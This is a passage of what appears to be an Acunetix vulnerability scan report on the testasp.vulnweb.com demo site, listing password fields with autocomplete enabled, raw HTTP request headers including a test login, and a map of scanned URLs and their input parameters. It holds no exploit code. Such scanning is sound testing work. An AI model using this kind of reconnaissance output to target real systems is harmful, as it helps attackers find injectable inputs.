Password type input named tfUPass from unnamed form with action 4a2bd4f3319ad019841cd21ad19faa03 has autocomplete enabled.

Request headers

```
GET /login.asp?RetURL=/templatize.asp%3F HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/templatize.asp
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/login.asp (b0f123cb8b6b7f7ce196de1e7765c392)

Details

Password type input named tfUPass from unnamed form with action b0f123cb8b6b7f7ce196de1e7765c392 has autocomplete enabled.

Request headers

```
POST /login.asp HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/login.asp
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

tfUName=ypqtxqdo&tfUPass=g00dPa%24%24w0rD
```

/register.asp

Details

Password type input named tfUPass from form named frmRegister with action register.asp has autocomplete enabled.

Request headers

```
GET /register.asp HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/register.asp (08ba5c65850c46f4a43a7941b10720df)

Details

Password type input named tfUPass from form named frmRegister with action 08ba5c65850c46f4a43a7941b10720df has autocomplete enabled.

Request headers

```
GET /register.asp?RetURL=/search.asp%3F HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/search.asp
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/register.asp (446ae5fc92a14ee54cb5b0057775413e)

Details

Password type input named tfUPass from form named frmRegister with action 446ae5fc92a14ee54cb5b0057775413e has autocomplete enabled.

Request headers

```
GET /register.asp?RetURL=/Default.asp%3F HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/register.asp (4a2bd4f3319ad019841cd21ad19faa03)

Details

Password type input named tfUPass from form named frmRegister with action 4a2bd4f3319ad019841cd21ad19faa03 has autocomplete enabled.

Request headers

```
GET /register.asp?RetURL=/templatize.asp%3F HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://testasp.vulnweb.com/templatize.asp
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASPSESSIONIDCCSQDADD=MFJGLNABMGAHCEAMJKNAOJNA
Host: testasp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Scanned items (coverage report)

Scanned 21 URLs. Found 9 vulnerable.

URL: http://testasp.vulnweb.com/

Vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://testasp.vulnweb.com/styles.css

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://testasp.vulnweb.com/search.asp

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1

Input name	Input type
tfSearch	URL encoded GET

URL: http://testasp.vulnweb.com/default.asp

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://testasp.vulnweb.com/templatize.asp

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1

Input name	Input type
item	URL encoded GET

URL: http://testasp.vulnweb.com/images/

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://testasp.vulnweb.com/login.asp

Vulnerabilities has been identified for this URL

3 input(s) found for this URL

Inputs

Input scheme 1

Input name	Input type
RetURL	URL encoded GET

Input scheme 2

Input name	Input type
tfUName	URL encoded POST
tfUPass	URL encoded POST

URL: http://testasp.vulnweb.com/showforum.asp

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1

Input name	Input type
id	URL encoded GET

URL: http://testasp.vulnweb.com/register.asp

Vulnerabilities has been identified for this URL

5 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
RetURL	URL encoded GET

Input scheme 2	
Input name	Input type
tfEmail	URL encoded POST
tfRName	URL encoded POST
tfUName	URL encoded POST
tfUPass	URL encoded POST

URL: http://testasp.vulnweb.com/robots.txt

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://testasp.vulnweb.com/showthread.asp

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
id	URL encoded GET

URL: http://testasp.vulnweb.com/templates/

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://testasp.vulnweb.com/templates/maintemplate.dwt.asp

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://testasp.vulnweb.com/templates/login.asp

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
RetURL	URL encoded GET

URL: http://testasp.vulnweb.com/templates/register.asp

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
RetURL	URL encoded GET

URL: http://testasp.vulnweb.com/avatars/

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://testasp.vulnweb.com/html/

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://testasp.vulnweb.com/html/about.html

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://testasp.vulnweb.com/jscripts/

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://testasp.vulnweb.com/t/

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://testasp.vulnweb.com/cgi-bin/

No vulnerabilities has been identified for this URL

No input(s) found for this URL